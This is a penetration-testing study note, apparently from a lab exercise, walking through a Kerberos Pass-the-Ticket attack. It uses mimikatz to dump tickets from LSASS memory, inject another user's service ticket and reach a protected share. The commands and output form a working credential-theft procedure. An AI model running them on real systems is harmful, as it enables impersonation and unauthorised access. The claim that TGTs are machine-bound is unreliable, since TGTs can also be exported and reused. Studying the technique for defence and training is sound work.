Pass-the-Ticket

The Pass-the-Ticket (PtT) attack exploits Kerberos TGS to impersonate users and access resources across a network. Unlike the TGT, which is machine-bound, TGS can be extracted from memory and re-injected into another session. If TGS tickets belong to the current user, no administrative privileges are needed. This allows attackers to bypass standard access controls by injecting valid Kerberos tickets into their own session.

  • TGT vs TGS: TGT tickets are used to request service tickets from the KDC and are valid only on the machine they were generated on, while TGS tickets are for accessing specific services and can be reused across machines if extracted.

  • Attack Premise: Reuse another user's TGS by extracting it from LSASS memory and injecting it into the current session. Does not require local admin rights if using the current user’s own tickets.

In our scenario, dave has privileged access to the backup folder on WEB04, but the compromised user, jen, does not.

# Check jen's permissions
> whoami
corp\jen
> ls \\web04\backup
ls : Access to the path '\\web04\backup' is denied.

First, we want first to extract all tickets from LSASS. mimikatz will dump them all to .kirbi files.

# Dump tickets from LSASS
privilege::debug
sekurlsa::tickets /export
...
Saved to file [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi

We can inspect the dumped ticket files and confirm that a TGS for dave accessing web04 exists.

> dir *.kirbi
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/14/2022   6:24 AM           1561 [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
...

We can then inject dave's WEB04 TGS into jen's session in order to access the backup folder.

# Inject dave's TGS into jen's session
mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi

# List the cached tickets
> klist
...
Cached Tickets: (1)

#0>     Client: dave @ CORP.COM
        Server: cifs/web04 @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40810000 -> forwardable renewable name_canonicalize
        Start Time: 9/14/2022 5:31:32 (local)
        End Time:   9/14/2022 15:31:13 (local)
        Renew Time: 9/21/2022 5:31:13 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

# Confirm access
> ls \\web04\backup
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/13/2022   2:52 AM              0 backup_schemata.txt

Last updated

Was this helpful?